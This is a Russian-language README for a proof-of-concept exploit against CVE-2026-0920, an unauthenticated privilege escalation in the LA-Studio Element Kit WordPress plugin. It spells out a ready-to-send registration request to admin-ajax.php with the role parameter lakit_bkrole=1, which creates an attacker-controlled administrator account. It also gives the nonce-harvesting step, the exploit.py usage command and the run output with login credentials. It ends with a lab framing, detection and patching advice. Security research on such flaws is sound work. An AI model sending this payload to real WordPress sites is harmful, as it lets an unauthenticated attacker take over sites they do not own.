
Эксплойт-доказательство концепции для CVE-2026-0920 — неаутентифицированное повышение привилегий в WordPress-плагине LA-Studio Element Kit, позволяющее создание учётных записей администратора.
Эксплойт-доказательство концепции для CVE-2026-0920 — уязвимости неаутентифицированного повышения привилегий в плагине LA-Studio Element Kit для WordPress.
Уязвимость позволяет неаутентифицированному атакующему злоупотребить функциональностью регистрации плагина и создать учётную запись WordPress с правами администратора.
Этот репозиторий содержит доказательство концепции на Python, предназначенное для авторизованных исследований безопасности, валидации уязвимостей и контролируемых лабораторных сред.
| Свойство | Значение |
|---|---|
| CVE | CVE-2026-0920 |
| Поставщик | LA-Studio |
| Продукт | Element Kit |
| Платформа | WordPress |
| Уязвимость | Неаутентифицированное повышение привилегий |
| Требуется аутентификация | Нет |
| CWE | CWE-269 |
| Воздействие | Создание учётной записи администратора |
| PoC | exploit.py |
Уязвимость существует в функциональности регистрации плагина, где управляемые атакующим данные регистрации могут влиять на привилегию, назначаемую вновь созданной учётной записи WordPress.
Уязвимый параметр:
lakit_bkrole
Указав повышенное значение роли во время регистрации, неаутентифицированный атакующий может привести к тому, что вновь созданная учётная запись получит права администратора WordPress.
LA-Studio Element Kit предоставляет функциональность регистрации пользователей через AJAX-обработчик регистрации.
Уязвимый поток раскрывает механизм регистрации через:
/wp-admin/admin-ajax.php
Запрос использует AJAX-действие:
lakit_ajax
и выполняет операцию регистрации с помощью:
{
"action": "register"
}
Проблема безопасности возникает из-за того, что серверная логика регистрации не предотвращает должным образом передачу неаутентифицированным клиентом привилегированного значения роли через:
lakit_bkrole=1
Таким образом, атакующий может сформировать запрос на регистрацию, который приведёт к созданию учётной записи WordPress с ролью administrator.
Для выполнения атаки не требуется существующая учётная запись WordPress.
PoC выполняет трёхэтапный процесс:
┌──────────────────────┐
│ Bootstrap Endpoint │
│ │
│ Получение nonce и │
│ информации о плагине │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Запрос регистрации │
│ │
│ lakit_ajax │
│ action=register │
│ lakit_bkrole=1 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Проверка │
│ │
│ Поиск созданного │
│ пользователя │
│ Подтверждение роли │
│ администратора │
└──────────────────────┘
Эксплойт не полагается исключительно на ответ регистрации.
Вместо этого он проверяет, что вновь созданная учётная запись действительно существует и имеет права администратора.
Первый запрос направляется на:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: target
Accept: application/json
Connection: close
Пример:
curl -i http://127.0.0.1:8103/wp-json/cve-2026-0920/v1/bootstrap
Уязвимый лабораторный экземпляр может вернуть:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
PoC извлекает nonce из:
"nonce": "577023f674"
Затем nonce передаётся в запрос регистрации.
Ответ bootstrap также может раскрывать текущих зарегистрированных пользователей, что позволяет PoC сравнить список пользователей до и после эксплуатации.
PoC отправляет запрос регистрации на:
/wp-admin/admin-ajax.php
Запрос использует:
action=lakit_ajax
с вложенным действием регистрации:
action=register
Репрезентативный запрос:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8103
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
action=lakit_ajax&_nonce=577023f674&actions={"cve_2026_0920":{"action":"register","data":{"lakit_field_log":"yes","lakit_field_pwd":"yes","lakit_field_cpwd":"yes","username":"eviladmin","email":"[email protected]","password":"Passw0rd!","password-confirm":"Passw0rd!","lakit_bkrole":"1"}}}
Соответствующие данные регистрации:
{
"username": "eviladmin",
"email": "[email protected]",
"password": "Passw0rd!",
"password-confirm": "Passw0rd!",
"lakit_bkrole": "1"
}
Критичный с точки зрения безопасности параметр:
lakit_bkrole=1
Запрос выполняется без аутентифицированной сессии WordPress.
Успешный запрос регистрации возвращает HTTP-ответ 200 OK.
Пример:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
JSON-ответ структурирован аналогично:
{
"success": true,
"data": {
"responses": {
"cve_2026_0920": {
"success": true,
"code": 200,
"data": {
"type": "success",
"message": "Your account was created successfully. Your login details have been sent to your email address."
}
}
}
}
}
PoC сообщает:
[+] User creation appears successful.
Однако PoC не считает этот ответ сам по себе достаточным доказательством повышения привилегий.
Учётная запись проверяется на следующем этапе.
После регистрации PoC снова запрашивает bootstrap endpoint:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: 127.0.0.1:8103
Accept: application/json
Connection: close
Ответ теперь содержит вновь созданную учётную запись.
Пример:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
},
{
"id": 2,
"user_login": "eviladmin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
Ключевое доказательство:
{
"user_login": "eviladmin",
"roles": [
"administrator"
]
}
Это подтверждает, что управляемая атакующим учётная запись была создана с правами администратора.
Обычный неаутентифицированный процесс регистрации должен создавать учётную запись с ограниченной ролью, такой как:
subscriber
Клиенту нельзя доверять выбор привилегированной роли WordPress.
Уязвимый поток фактически позволяет:
Неаутентифицированный атакующий
|
v
Endpoint регистрации
|
v
Управляемый атакующим параметр роли
|
v
Создание пользователя WordPress
|
v
administrator
Это пересекает предполагаемую границу привилегий без необходимости предварительной аутентификации.
PoC требует:
Python 3
Сетевой доступ к цели
Уязвимую установку LA-Studio Element Kit
Учётные данные WordPress не требуются.
Запустите эксплойт, указав адрес и порт цели:
python exploit.py -t 127.0.0.1 -p 8103
Синтаксис:
python exploit.py -t <target> -p <port>
Например:
python exploit.py -t 127.0.0.1 -p 8103
Успешный запуск эксплуатации выглядит так:
Coded By: K3ysTr0K3R
CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
Target: http://127.0.0.1:8103
[*] Creating user: eviladmin / [email protected]
[+] Nonce obtained: 577023f674
[*] Current users: admin
[+] User creation appears successful.
[+] User 'eviladmin' found. Roles: ['administrator']
[+] Confirmed administrator privilege!
[+] Exploit successful! You can now log in to the WordPress admin with:
URL: http://127.0.0.1:8103/wp-admin
User: eviladmin
Pass: Passw0rd!
Важные этапы проверки:
[+] User creation appears successful.
за которым следует:
[+] User 'eviladmin' found. Roles: ['administrator']
и наконец:
[+] Confirmed administrator privilege!
Финальное сообщение указывает, что PoC проверил повышение привилегий, а не просто получил успешный HTTP-ответ.
Полное выполнение PoC можно резюмировать так:
1. Указана цель
|
v
2. Запрошен bootstrap endpoint
|
v
3. Извлечён nonce регистрации
|
v
4. Перечислены существующие пользователи
|
v
5. Отправлен вредоносный запрос регистрации
|
v
6. Создана новая учётная запись
|
v
7. Bootstrap endpoint запрошен повторно
|
v
8. Найдена новая учётная запись
|
v
9. Проверена роль учётной записи
|
v
10. Подтверждены права administrator
GET /wp-json/cve-2026-0920/v1/bootstrap
Назначение:
- Идентифицировать плагин
- Получить nonce
- Получить endpoint регистрации
- Зафиксировать существующих пользователей
POST /wp-admin/admin-ajax.php
Важные параметры:
action=lakit_ajax
_nonce=<nonce>
actions=<JSON регистрации>
Данные регистрации:
username=<управляемое атакующим имя пользователя>
email=<управляемый атакующим email>
password=<управляемый атакующим пароль>
password-confirm=<управляемый атакующим пароль>
lakit_bkrole=1
Назначение:
Создать управляемую атакующим учётную запись.
GET /wp-json/cve-2026-0920/v1/bootstrap
Назначение:
- Подтвердить существование учётной записи
- Проверить роль учётной записи
- Подтвердить права администратора
Успешная эксплуатация подтверждается, когда ответ содержит созданную учётную запись с:
"roles": [
"administrator"
]
Успешная эксплуатация даёт неаутентифицированному атакующему учётную запись администратора WordPress.
В зависимости от установки WordPress доступ администратора может позволить атакующему:
- Изменять содержимое сайта
- Создавать дополнительные привилегированные учётные записи
- Изменять плагины
- Изменять темы
- Изменять настройки WordPress
- Получать доступ к привилегированным административным функциям
- Изменять данные приложения
- Потенциально выполнять серверный код через доступные функции WordPress
Конечное воздействие зависит от конфигурации хостинга, включённых плагинов, средств безопасности WordPress и доступных административных функций.
Защитникам следует отслеживать неожиданные запросы, связанные с:
/wp-admin/admin-ajax.php
в сочетании с:
action=lakit_ajax
и запросами регистрации, содержащими:
lakit_bkrole
Неожиданные учётные записи администратора WordPress также следует расследовать.
Особенно полезной защитной проверкой является аудит недавно созданных учётных записей и сравнение их временных меток и ролей с легитимной административной активностью.
Основное смягчение — обновление LA-Studio Element Kit до версии, содержащей исправление безопасности.
Администраторам также следует:
- Проверить существующие учётные записи администратора
- Удалить несанкционированные учётные записи
- Провести аудит недавнего создания пользователей WordPress
- Отслеживать подозрительные admin-ajax запросы
- Ограничить ненужное раскрытие административных функций WordPress
- Поддерживать WordPress и установленные плагины в актуальном состоянии
При подозрении на компрометацию следует сменить затронутые учётные данные WordPress и провести расследование на предмет дополнительных несанкционированных изменений.
PoC был протестирован в контролируемой лабораторной среде с:
WordPress: 6.5.5
LA-Studio Element Kit: 1.5.6.3
Web Server: Apache/2.4.59
PHP: 8.2.21
Target: http://127.0.0.1:8103
Успешный тест привёл к:
User: eviladmin
Role: administrator
Этот проект предоставлен для авторизованных исследований безопасности, валидации уязвимостей и образовательного лабораторного использования.
Тестируйте только те системы, которыми вы владеете или на проверку которых имеете явное разрешение.
Не используйте этот PoC против систем без авторизации.